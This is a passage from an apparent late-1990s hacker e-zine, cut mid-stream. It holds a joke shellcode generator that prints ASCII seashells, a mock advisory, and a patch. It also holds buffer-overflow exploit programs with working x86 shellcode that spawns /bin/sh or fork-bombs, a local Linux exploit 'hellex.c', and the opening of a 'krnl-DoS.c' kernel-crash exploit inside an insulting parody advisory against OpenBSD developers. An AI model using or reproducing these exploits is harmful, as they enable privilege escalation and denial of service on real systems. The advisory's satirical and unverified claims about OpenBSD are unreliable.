  2606. "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x27\x22\x22\x2e\x27\x2f\x7c\x5c\x60"
  2607. "\x2e\x22\x22\x27\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x20\x20\x2e\x27\x20"
  2608. "\x2f\x20\x7c\x20\x5c\x20\x60\x2e\x20\x20\x3a\x0a\x20\x20\x20\x20\x20\x20"
  2609. "\x27\x2e\x27\x20\x20\x2f\x20\x20\x7c\x20\x20\x5c\x20\x20\x60\x2e\x27\x0a"
  2610. "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x2f\x20\x20\x20\x7c\x20\x20\x20"
  2611. "\x5c\x20\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2d\x2e\x5f"
  2612. "\x5f\x7c\x5f\x5f\x2e\x2d\x27\x0a";
  2613.  
  2614. char *clam=
  2615. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f"
  2616. "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x3a\x22\x3a\x5f\x27\x2d\x2e\x2d\x60"
  2617. "\x5f\x3a\x22\x3a\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x60\x2e\x60\x2e\x5f"
  2618. "\x27\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x3a\x0a\x20\x20\x20\x20\x20\x20"
  2619. "\x27\x60\x2e\x60\x2e\x5f\x60\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x27\x0a"
  2620. "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x60\x2d\x2e\x60\x2d\x2e\x2d\x27\x2e"
  2621. "\x2d\x27\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2e\x5f\x60"
  2622. "\x2d\x2e\x2d\x27\x5f\x2e\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  2623. "\x20\x20\x60\x27\x27\x27\x60\x0a";
  2624.  
  2625. char *scallop=
  2626. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x27\x27\x7c\x27"
  2627. "\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x2d\x27\x20\x20"
  2628. "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x60\x2d\x2e\x0a\x20\x20\x20\x20\x20"
  2629. "\x20\x2e\x27\x5c\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20"
  2630. "\x20\x2f\x60\x2e\x0a\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x5c\x20\x20\x20"
  2631. "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x2f\x20\x20\x20\x60\x2e\x0a\x20"
  2632. "\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x7c\x20\x20"
  2633. "\x20\x20\x20\x2f\x20\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x60\x5c"
  2634. "\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x2f\x20\x20\x20"
  2635. "\x20\x2f\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x60\x5c\x20\x20\x20\x5c\x20"
  2636. "\x20\x20\x7c\x20\x20\x20\x2f\x20\x20\x20\x2f\x27\x0a\x20\x20\x20\x20\x20"
  2637. "\x20\x20\x20\x20\x60\x5c\x20\x20\x5c\x20\x20\x7c\x20\x20\x2f\x20\x20\x2f"
  2638. "\x27\x0a\x20\x20\x20\x6a\x67\x73\x20\x20\x5f\x2e\x2d\x60\x5c\x20\x5c\x20"
  2639. "\x7c\x20\x2f\x20\x2f\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x7b"
  2640. "\x5f\x5f\x5f\x5f\x5f\x60\x5c\x5c\x7c\x2f\x2f\x27\x5f\x5f\x5f\x5f\x5f\x7d";
  2641.  
  2642. void
  2643. main()
  2644. {
  2645. char buf[1024];
  2646. printf("Generate shell code for: (solaris/linux/bsd/win32)? ");
  2647. gets(buf);
  2648. printf("Generating shell code...\n");
  2649. if(strstr(buf,"solaris")) puts(welk);
  2650. if(strstr(buf,"linux")) puts(ark);
  2651. if(strstr(buf,"bsd")) puts(clam);
  2652. if(strstr(buf,"win32")) puts(scallop);
  2653. printf("done!\n");
  2654. }
  2655. [END_CUT] shellgen.c
  2656.  
  2657. [CUT_HERE] shellgen.c.adv
  2658. [TeamSploit Advisory]
  2659. [Begin PDP-11 SIGNED MESSAGE]
  2660. TeamSploit labs : http://el8.n3.net
  2661. Also check out our Security E-ZINE at http://el8.n3.net
  2662.  
  2663.         Hello folks, this is TeamSploit (TM), we have noticed an overflow in
  2664.         shellgen.c . Shellgen.c is an advanced shellcode generator, which is
  2665.         widely used by the 'hacking-community'.
  2666.  
  2667.         Shellgen.c can be found at 1337.tsx.org (Mixter Security *sigh*)
  2668.  
  2669.         Problem:
  2670.  
  2671.         Shellgen.c uses gets (which is very unsafe, so i've heard)
  2672.         ('ld: gets() is unsafe' errors!)
  2673.  
  2674.         A malicious user may obtain SUPER_USER [1] privledges by using
  2675.         the appended exploit. This is a multiplatform vulnerability.
  2676.  
  2677.         If shellgen.c is run setuid root, a user may obtain root
  2678.         privledges thus compromising a system.
  2679.  
  2680.         Example:
  2681.  
  2682.         TSlabs$ ./shellgen
  2683.         Generate shell code for: (solaris/linux/bsd/win32)? 1million i's
  2684.         Segmentation Fault, core dumped.
  2685.         TSlabs$ rm shellgen ; reboot
  2686.  
  2687.         Possible fixes:
  2688.  
  2689.         Use the patch provided by TSlabs (TM).
  2690.         Thurly remove shellgen.c and shellgen binaries from system.
  2691.                 TSlabs$ find / -name shellgen.c
  2692.         DO NOT RUN SETUID ROOT!
  2693.         Rewrite libc.
  2694.  
  2695.         [1] SUPERUSER - GOD ACCESS - UID 0 - CAN RM -RF /
  2696.  
  2697.         This has been a TeamSploit advisory, much respect due to:
  2698.         gH (global hell), PERSUiT, f0rpaxe, Team HAckphreak ( and
  2699.         hackphreak labs ), w00w00, ADM, !r00t, b4b0, www.antionline.com,
  2700.         www.deathrowrecords.com.
  2701.  
  2702. [Appended actual program, possible patch.diff, and exploit]
  2703. PROGRAM:
  2704.  
  2705. /* shellcode generator
  2706.    by Mixter
  2707.    PRIVATE - DO NOT DISTRIBUTE!
  2708.  */
  2709.  
  2710. char *welk=
  2711. "\x20\x20\x20\x20\x20\x20\x20\x2f\x5c\x0a\x20\x20\x20\x20\x20\x20\x7b\x2e"
  2712. "\x2d\x7d\x0a\x20\x20\x20\x20\x20\x3b\x5f\x2e\x2d\x27\x5c\x0a\x20\x20\x20"
  2713. "\x20\x7b\x20\x20\x20\x20\x5f\x2e\x7d\x5f\x0a\x20\x20\x20\x20\x20\x5c\x2e"
  2714. "\x2d\x27\x20\x2f\x20\x20\x60\x2c\x0a\x20\x20\x20\x20\x20\x20\x5c\x20\x20"
  2715. "\x7c\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x7c\x20"
  2716. "\x20\x2c\x2f\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x5c\x7c\x5f\x2f\x0a";
  2717.  
  2718. char *ark=
  2719. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f"
  2720. "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x27\x22\x22\x2e\x27\x2f\x7c\x5c\x60"
  2721. "\x2e\x22\x22\x27\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x20\x20\x2e\x27\x20"
  2722. "\x2f\x20\x7c\x20\x5c\x20\x60\x2e\x20\x20\x3a\x0a\x20\x20\x20\x20\x20\x20"
  2723. "\x27\x2e\x27\x20\x20\x2f\x20\x20\x7c\x20\x20\x5c\x20\x20\x60\x2e\x27\x0a"
  2724. "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x2f\x20\x20\x20\x7c\x20\x20\x20"
  2725. "\x5c\x20\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2d\x2e\x5f"
  2726. "\x5f\x7c\x5f\x5f\x2e\x2d\x27\x0a";
  2727.  
  2728. char *clam=
  2729. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f"
  2730. "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x3a\x22\x3a\x5f\x27\x2d\x2e\x2d\x60"
  2731. "\x5f\x3a\x22\x3a\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x60\x2e\x60\x2e\x5f"
  2732. "\x27\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x3a\x0a\x20\x20\x20\x20\x20\x20"
  2733. "\x27\x60\x2e\x60\x2e\x5f\x60\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x27\x0a"
  2734. "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x60\x2d\x2e\x60\x2d\x2e\x2d\x27\x2e"
  2735. "\x2d\x27\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2e\x5f\x60"
  2736. "\x2d\x2e\x2d\x27\x5f\x2e\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  2737. "\x20\x20\x60\x27\x27\x27\x60\x0a";
  2738.  
  2739. char *scallop=
  2740. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x27\x27\x7c\x27"
  2741. "\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x2d\x27\x20\x20"
  2742. "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x60\x2d\x2e\x0a\x20\x20\x20\x20\x20"
  2743. "\x20\x2e\x27\x5c\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20"
  2744. "\x20\x2f\x60\x2e\x0a\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x5c\x20\x20\x20"
  2745. "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x2f\x20\x20\x20\x60\x2e\x0a\x20"
  2746. "\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x7c\x20\x20"
  2747. "\x20\x20\x20\x2f\x20\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x60\x5c"
  2748. "\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x2f\x20\x20\x20"
  2749. "\x20\x2f\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x60\x5c\x20\x20\x20\x5c\x20"
  2750. "\x20\x20\x7c\x20\x20\x20\x2f\x20\x20\x20\x2f\x27\x0a\x20\x20\x20\x20\x20"
  2751. "\x20\x20\x20\x20\x60\x5c\x20\x20\x5c\x20\x20\x7c\x20\x20\x2f\x20\x20\x2f"
  2752. "\x27\x0a\x20\x20\x20\x6a\x67\x73\x20\x20\x5f\x2e\x2d\x60\x5c\x20\x5c\x20"
  2753. "\x7c\x20\x2f\x20\x2f\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x7b"
  2754. "\x5f\x5f\x5f\x5f\x5f\x60\x5c\x5c\x7c\x2f\x2f\x27\x5f\x5f\x5f\x5f\x5f\x7d";
  2755.  
  2756. void
  2757. main()
  2758. {
  2759. char buf[1024];
  2760. printf("Generate shell code for: (solaris/linux/bsd/win32)? ");
  2761. gets(buf);
  2762. printf("Generating shell code...\n");
  2763. if(strstr(buf,"solaris")) puts(welk);
  2764. if(strstr(buf,"linux")) puts(ark);
  2765. if(strstr(buf,"bsd")) puts(clam);
  2766. if(strstr(buf,"win32")) puts(scallop);
  2767. printf("done!\n");
  2768. }
  2769.  
  2770. PATCH:
  2771.  
  2772. TSlabs$ cat TeamSploit_shellgen.c.diff
  2773. --- shellgen.c  Wed Dec 29 22:00:28 1999
  2774. +++ new.c       Wed Dec 29 23:05:09 1999
  2775. @@ -54,7 +54,7 @@
  2776.  {
  2777.  char buf[1024];
  2778.  printf("Generate shell code for: (solaris/linux/bsd/win32)? ");
  2779. -gets(buf);
  2780. +fgets(buf,80,stdin);
  2781.  printf("Generating shell code...\n");
  2782.  if(strstr(buf,"solaris")) puts(welk);
  2783.  if(strstr(buf,"linux")) puts(ark);
  2784. TSlabs$
  2785.  
  2786. EXPLOIT:
  2787. --`cut here`--
  2788.  
  2789.  
  2790. /* * *
  2791.  * This is a TeamSploit production
  2792.  * exploit for shellgen.c ( please read the advisory attatched )
  2793.  * ./shellgen_exp ...
  2794.  * TeamSploit labs : http://el8.n3.net
  2795.  * * */
  2796.  
  2797. #include <stdio.h>
  2798. #define THE_OFFSET_IS 256
  2799. #define THE_BUFFER_IS 1024
  2800. #define LEEWAY 8
  2801.  
  2802. unsigned char f00f_shellcode[] = { 0xF0, 0x0F };
  2803.  
  2804. unsigned char forkbomb_shellcode[] =
  2805.  
  2806.     { 0xb0, 0x02, 0xcd, 0x80, 0xeb, 0xfa };
  2807.  
  2808. unsigned char generic_shellcode[] = { 0x41 };
  2809.  
  2810. unsigned char sh_shellcode[] =
  2811.     "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  2812.     "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  2813.     "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  2814.  
  2815. unsigned char ls_shellcode[] =
  2816.     "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  2817.     "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  2818.     "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/ls";
  2819.  
  2820.  
  2821.  
  2822.  
  2823. unsigned long get_sp(void)
  2824. {
  2825.     __asm__("movl %esp,%eax");
  2826. }
  2827.  
  2828.  
  2829.  
  2830.  
  2831. void usage(void)
  2832. {
  2833.     puts("./shellgen <shellcode_num> <program> <offset> (optional)");
  2834.     puts("1 = f00f");
  2835.     puts("2 = forkbomb");
  2836.     puts("3 = generic");
  2837.     puts("4 = shell");
  2838.     puts("5 = ls");
  2839.     exit(31337);
  2840. }
  2841.  
  2842.  
  2843.  
  2844.  
  2845.  
  2846. int main(int argc, char *argv[])
  2847. {
  2848.     FILE *m1xt3r;
  2849.     unsigned int c, offset;
  2850.     char *prognam, tuff[THE_BUFFER_IS + LEEWAY];
  2851.     unsigned long addr;
  2852.  
  2853.  
  2854.  
  2855.     if (argc < 3) {
  2856.         usage();
  2857.     }
  2858.  
  2859.  
  2860.     if (argc < 3) {
  2861.         usage();
  2862.     }
  2863.  
  2864.     c = atoi(argv[1]);
  2865.  
  2866.     switch (c) {
  2867.     case 1:
  2868.         puts("F00F SHELLCODE CHOSEN");
  2869.         break;
  2870.     case 2:
  2871.         puts("FORKBOMB SHELLCODE CHOSEN (PREMIUM CHOICE)");
  2872.         break;
  2873.     case 3:
  2874.         puts("GENERIC SHELLCODE (provided by gH thnx)");
  2875.         break;
  2876.     case 4:
  2877.         puts("RUN A SHELL (good for when shellgen is +s root)");
  2878.         break;
  2879.     case 5:
  2880.         puts("LS SHELLCODE (INCASE LS IS BACKDOORED)");
  2881.         break;
  2882.     default:
  2883.         usage();
  2884.     }
  2885.  
  2886.     prognam = argv[2];
  2887.  
  2888.     if (argc >= 4)
  2889.         offset = atoi(argv[3]);
  2890.     else
  2891.         offset = THE_OFFSET_IS;
  2892.  
  2893.  
  2894.  
  2895.     printf("ADDRESS = 0x%x, OFFSET = 0x%x\n", get_sp(), get_sp() + offset);
  2896.  
  2897.  
  2898.  
  2899.     if ((m1xt3r = popen(prognam, "w")) == NULL) {
  2900.         perror("p o p e n");
  2901.         exit(0);
  2902.     }
  2903.  
  2904.  
  2905.  
  2906.     addr = get_sp();
  2907.  
  2908.  
  2909.  
  2910.     if (c == 1) {               /* f00f shellcode */
  2911.  
  2912.         for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
  2913.             *(unsigned long *) (tuff + c) = addr + offset;
  2914.  
  2915.         memset(tuff, 0x90, THE_BUFFER_IS - strlen(f00f_shellcode));
  2916.  
  2917.         memcpy(&tuff[THE_BUFFER_IS - strlen(f00f_shellcode)],
  2918.                f00f_shellcode, strlen(f00f_shellcode));
  2919.  
  2920.         *(tuff + THE_BUFFER_IS + LEEWAY) = 0;
  2921.  
  2922.     }
  2923.  
  2924.     else if (c == 2) {
  2925.  
  2926.         for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
  2927.             *(unsigned long *) (tuff + c) = addr + offset;
  2928.  
  2929.  
  2930.         memset(tuff, 0x90, THE_BUFFER_IS - strlen(forkbomb_shellcode));
  2931.  
  2932.         memcpy(&tuff[THE_BUFFER_IS - strlen(forkbomb_shellcode)],
  2933.                forkbomb_shellcode, strlen(forkbomb_shellcode));
  2934.  
  2935.         *(tuff + THE_BUFFER_IS + LEEWAY) = 0;
  2936.  
  2937.     }
  2938.  
  2939.     else if (c == 3) {
  2940.  
  2941.         memset(tuff, generic_shellcode[0], sizeof(tuff));
  2942.  
  2943.     }
  2944.  
  2945.     else if (c == 4) {
  2946.  
  2947.  
  2948.         for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
  2949.             *(unsigned long *) (tuff + c) = addr + offset;
  2950.  
  2951.  
  2952.         memset(tuff, 0x90, THE_BUFFER_IS - strlen(sh_shellcode));
  2953.  
  2954.         memcpy(&tuff[THE_BUFFER_IS - strlen(sh_shellcode)],
  2955.                sh_shellcode, strlen(sh_shellcode));
  2956.  
  2957.         *(tuff + THE_BUFFER_IS + LEEWAY) = 0;
  2958.  
  2959.     }
  2960.  
  2961.     else if (c == 5) {
  2962.  
  2963.         for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
  2964.             *(unsigned long *) (tuff + c) = addr + offset;
  2965.  
  2966.         memset(tuff, 0x90, THE_BUFFER_IS - strlen(ls_shellcode));
  2967.  
  2968.         memcpy(&tuff[THE_BUFFER_IS - strlen(ls_shellcode)],
  2969.                ls_shellcode, strlen(ls_shellcode));
  2970.  
  2971.         *(tuff + THE_BUFFER_IS + LEEWAY) = 0;
  2972.  
  2973.     } else
  2974.  
  2975.  
  2976.  
  2977.         usage();
  2978.  
  2979.  
  2980.  
  2981.     puts("Get ready, we are about to exploit shellgen, hold on tight");
  2982.  
  2983.  
  2984.     fprintf(m1xt3r, "%s", tuff);
  2985.  
  2986.  
  2987.  
  2988.     if (pclose(m1xt3r) < 0) {
  2989.         perror("pclose");
  2990.         exit(-1);
  2991.     }
  2992.  
  2993.  
  2994.  
  2995.  
  2996.     return 0;
  2997. }
  2998. [END_CUT] shellgen.c.adv
  2999.  
  3000. [CUT_HERE] hellex_LAMEASSFUCKS.c
  3001. /* hellex.c - Hellkit 1.2 local linux (x86) exploit by Narrow */
  3002. /* Greetz: Legion2000, buffer0verflow and Scrippie (of courz) */
  3003.  
  3004. /* Tue May 23 14:04:35 2000 - It doesn't suck much memonry ;-)*/
  3005.  
  3006. #include <stdio.h>
  3007. #include <string.h>
  3008.  
  3009. #define OFFSETS -500          // Red Hat 6.0
  3010.  
  3011. char shellcode[] =
  3012. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  3013. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  3014. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  3015.  
  3016. unsigned long get_sp(void) {
  3017.     __asm__("movl %esp, %eax");
  3018. }
  3019.  
  3020. int main(int argc,char **argv)
  3021. {
  3022.   char buf[973];
  3023.   int offset;
  3024.  
  3025.   if(argc < 2) { offset = OFFSETS; } else { offset = atoi(argv[1]); }
  3026.   memset(buf,0x90,sizeof(buf));
  3027.   memcpy(buf + sizeof(buf) - strlen(shellcode) - 8, shellcode, strlen(shellcode
  3028. ));
  3029.   *(long *)&buf[973 - 4] = get_sp() - offset;
  3030.   execl("./driver", "drank-driver", buf);
  3031. }
  3032. [END_CUT] hellex_LAMEASSFUCKS.c
  3033.  
  3034. [END_DIR] shellgen
  3035.  
  3036.  
  3037.  
  3038.        _______________________
  3039.     .-'                       `-.
  3040. [06]|          OpenBSD          |[06]
  3041. [06]|            by:            |[06]
  3042. [06]|      Team Hackphreak      |[06]
  3043.     `-._______________________.-'
  3044.  
  3045.     Hello, it is Team Hackphreak again. Today, we will prove how
  3046.     incompetant and lame these OpenBSD retards really are.
  3047.  
  3048.     First, we start off with the original advisory which slammed
  3049.     into bugtraq and packetstorm.
  3050.  
  3051.     Then, we show you a funny email.
  3052.  
  3053.     Next, we will analyze some irc logs which prove the OpenBSD
  3054.     development team are total bafoons.
  3055.  
  3056.     Finally, we will leave you with traderism (aka SSG claiming no
  3057.     responsibility for the advisory).
  3058.  
  3059.     Note to self, my comments will be in *** OBSDCMNT.
  3060.  
  3061. [BEGIN_DIR] OpenBSD
  3062.  
  3063. [CUT_HERE] hp2.adv
  3064. - HP2 advisory % HP2 advisory % HP2 advisory % HP2 advisory % HP2 advisory %  -
  3065. |                                                                             |
  3066. | www.hackphreak.org                                                          |
  3067. |                                                                             |
  3068. | Version       : Hackphreak advisory #2 of many                              |
  3069. | Author        : RLoxley[hackphreak / condemnation / EHAP / RSH / ZSH (soon)]|
  3070. | Contributed   : All of Team Hackphreak (thanks alot) & SSG                  |
  3071. | Topic         : A non-privledged user may crash an OpenBSD Operating System,|
  3072. |                 thus rendering the system useless.                          |
  3073. | Effected      : All Operating Systems which use UVM (not MACH VM)           |
  3074. |                 * OpenBSD                                                   |
  3075. |                 * NetBSD                                                    |
  3076. | Prvt Release  : November 5th, 1998                                          |
  3077. | Released      : November 5th, 2000                                          |
  3078. | Credits       : www.hackphreak.org, zsh.interniq.org, www.subterrain.net    |
  3079. |                 Check Section 1                                             |
  3080. | Vender status : Notified                                                    |
  3081. |                                                                             |
  3082. - HP2 advisory % HP2 advisory % HP2 advisory % HP2 advisory % HP2 advisory %  -
  3083.  
  3084.  
  3085. Section 1 [Greets]:
  3086.  
  3087.         First and foremost, thanks to team hackphreak and SSG, great job!
  3088.         SSG helped during the researching of the bug (bind, aempire, cripto).
  3089.         This was a coordinated effort with Team Hackphreak and The Hacker
  3090.         Collective known as SSG.
  3091.  
  3092.         I would like to thank RootShellHackers and Team ZSH for rigorously
  3093.         testing on many freenets :] (ratcorpse and her great mass testing
  3094.         scripts, great for analysis: www.sneakerz.org/~rat < great site :)
  3095.  
  3096.         I would like to thank caddis of TESO. He started the whole OpenBSD
  3097.         war. Keep up the good work.
  3098.  
  3099.         Special thanks to Mixter and his TFN2k. It has made my job much
  3100.         easier.
  3101.  
  3102.         I would also like to thank: EHAP, Condemnation, gov-boi (hack.co.za),
  3103.         shinex (yf0rce :), ISS, Solar Designer, #hackphreak, #darknet,
  3104.         #!/bin/zsh, #condemnation, #conf, Al Hugher, Aleph1, and my parents.
  3105.  
  3106.  
  3107. Section 2 [Preface]:
  3108.  
  3109.         Usually Team HackPhreak keeps our code and research quite private
  3110. until we give lectures in our channel on undernet (#hackphreak). But what
  3111. really annoys us, is when a very big figure in the security community acts
  3112. disrespectful to the people who help build this internet infastructure. This
  3113. person who I speak of, is Theo de Raadt. Theo de Raadt claims that OpenBSD
  3114. hasn't experienced a local root hole in the default install for many years.
  3115. During his internal security audits, they find many bugs, yet they just
  3116. hide them, patch them, and never notify the public. This is very unethical
  3117. on the part of the OpenBSD team. I think you guys are lame. What worrys
  3118. Team Hackphreak, is how many other bugs have gone unnoticed. We have found
  3119. many other exlpoitable holes in previous OpenBSD distributions, that have
  3120. miraculously been patched and never revealed. Next, there is the "Three
  3121. years without a remote hole in the default install". I hope this advisory
  3122. breaks that aswell, because, technically:
  3123.  
  3124.         * Log into the remote host
  3125.         * Grab our exploit
  3126.         * Crash the kernel
  3127.  
  3128.         This bug is also be exploitable via NFS.
  3129.  
  3130.         Three years without a remote hole? Strike that.
  3131.  
  3132.  
  3133. Section 3 [Background]:
  3134.  
  3135.         UVM is a new virtual memory system developed which is currently
  3136. used in the OpenBSD Operating Systems. It is significantly better than the
  3137. traditional MACH based VM.
  3138.  
  3139.  
  3140. Section 4 [Problem Description]:
  3141.  
  3142.         There exists a bug in the UVM code which has blatently slipped passed
  3143. the seemlessly small minded OpenBSD security auditors. The bug exists in the
  3144. anonymous mapping code in UVM. This bug allows for any local user (or remote
  3145. user) to crash the entire OpenBSD system, rendering it completely useless.
  3146. Once the system has crashed, a local user (with access to the terminal) may
  3147. in fact hack the system. The system drops into DDB (man it). DDB allows for
  3148. debugging of the actual kernel. When one has access to the kernel, they can
  3149. do most anything: such as reading disk buffers, reading _copyright, reading
  3150. network mbuf's. So this scales to a most incredible attack, not just a DoS
  3151. (if you have read through this you have now more reason to switch to Linux).
  3152.  
  3153.         A very smart attacker will:
  3154.  
  3155.                 * Crash the kernel
  3156.                 * Assume the location of the box which crashed (@ the colo)
  3157.                 * Use DDB to gain god status
  3158.  
  3159.         A layout of the crash dump is given:
  3160.  
  3161.                 * trap()
  3162.                 *  uvm_fault()
  3163.                 *   uvmfault_amapcopy()
  3164.                 *    amap_copy()
  3165.                 *     amap_alloc()
  3166.  
  3167. ------------------------------------------------------------------
  3168. struct vm_amap *
  3169. amap_alloc(sz, padsz, waitf)
  3170.         vaddr_t sz, padsz;
  3171.         int waitf;
  3172.  
  3173. /*
  3174.  * amap_alloc: allocate an amap to manage "sz" bytes of anonymous VM
  3175.  *
  3176.  * => caller should ensure sz is a multiple of PAGE_SIZE
  3177.  * => reference count to new amap is set to one
  3178.  * => new amap is returned unlocked
  3179.  */
  3180.  
  3181. {
  3182.         struct vm_amap *amap;
  3183.         int slots, padslots;
  3184.         UVMHIST_FUNC("amap_alloc"); UVMHIST_CALLED(maphist);
  3185.  
  3186.         AMAP_B2SLOT(slots, sz);         /* load slots */
  3187.         AMAP_B2SLOT(padslots, padsz);
  3188. ------------------------------------------------------------------
  3189.  
  3190.         The kernel crashes in the first instance of AMAP_B2SLOT(slots, sz).
  3191.  
  3192. ------------------------------------------------------------------
  3193. #define AMAP_B2SLOT(S,B) { \
  3194.         if ((B) & (PAGE_SIZE - 1)) \
  3195.                 panic("AMAP_B2SLOT: invalid byte count"); \
  3196.         (S) = (B) >> PAGE_SHIFT; \
  3197. }
  3198. ------------------------------------------------------------------
  3199.  
  3200.         Basically, if the (sz & (PAGE_SIZE-1)) is true, the kernel
  3201. panic()'s. Not so cool Mr. Theo, my grandmother wouldn't even have
  3202. done something so stupid and all she has is an A+ and CCNA!
  3203.  
  3204.         As aempirei, bind, and cripto pointed out: Even if AMAP_B2SLOT()
  3205. is patched, the bug will still exist, hence forth because later
  3206. on down the yellow brick road, the kernel will crash in routines such as:
  3207.  
  3208.                 * amap_splitref()
  3209.                 * amap_lookup()
  3210.  
  3211.         So a hacker will still be able to obtain root access. No thanks
  3212.         to obecian for notifying Theo a wee bit early.
  3213.  
  3214.  
  3215. Section 4 [The exploit]:
  3216.  
  3217. // PUBLIC RELEASE
  3218. //
  3219. // krnl-DoS.c by RLoxley of Team Hackphreak (#hackphreak on unet) & SSG
  3220. //
  3221. // This exploit is proof of concept code. It exploits the UVM bug in
  3222. // all OpenBSD kernels. It can also be used to gain god access via
  3223. // ddb during the crash recovery phase of OpenBSD's security structure.
  3224. //
  3225. // Greets: #hackphreak, RootShellHackers, ZSH (#!/bin/zsh), EHAP,
  3226. //         Condemnation, caddis[TESO], Solar Designer, gov-boi,
  3227. //         #darknet, ISS, #conf, Al Hugher, Aleph1, shinex (for porting)
  3228. //         SSG, www.subterrain.net
  3229. //
  3230. // PS: The exploit is broke very slightly, so this takes some knowledge ;)
  3231. //
  3232. // PUBLIC RELEASE
  3233.  
  3234.  
  3235. #include <stdio.h>
  3236. #include <errno.h>
  3237. #include <stdlib.h>
  3238. #include <string.h>
  3239. #include <unistd.h>
  3240. #include <a.out.h>
  3241. #include <fcntl.h>
  3242. #include <sys/types.h>
  3243.  
  3244. #define CRASH_FILE "./f0rKb0mB"
  3245.  
  3246. extern int      errno;
  3247.  
  3248. int
  3249. main(int argc, char *argv[])
  3250. {
  3251. struct exec    *ehdr;
  3252. struct stat     statbuf;
  3253. int             fd;
  3254. unsigned char  *data;
  3255.  
  3256.  
  3257.    fd = open(argv[0], O_RDONLY);
  3258.    if (fd < 0)
  3259.    {
  3260. perror("main() : open(argv[0]) ");
  3261. exit(-1);
  3262.    }
  3263.  
  3264.    if (fstat(fd, &statbuf) < 0)
  3265.    {
  3266. perror("main() : fstat() ");
  3267. exit(-1);
  3268.    }
  3269.  
  3270.    data = (unsigned char *) malloc(statbuf.st_size);
  3271.    if (data == NULL)
  3272.    {
  3273. perror("main() : malloc() ");
  3274. exit(-1);
  3275.    }
  3276.  
  3277.    if (read(fd, data, statbuf.st_size) <= 0)
  3278.    {
  3279. puts("main() : read() Failure");
  3280. exit(-1);
  3281.    }
  3282.  
  3283.    ehdr = (struct exec *) data;
  3284.  
  3285.    close(fd);
  3286.  
  3287.    unlink(CRASH_FILE);
  3288.  
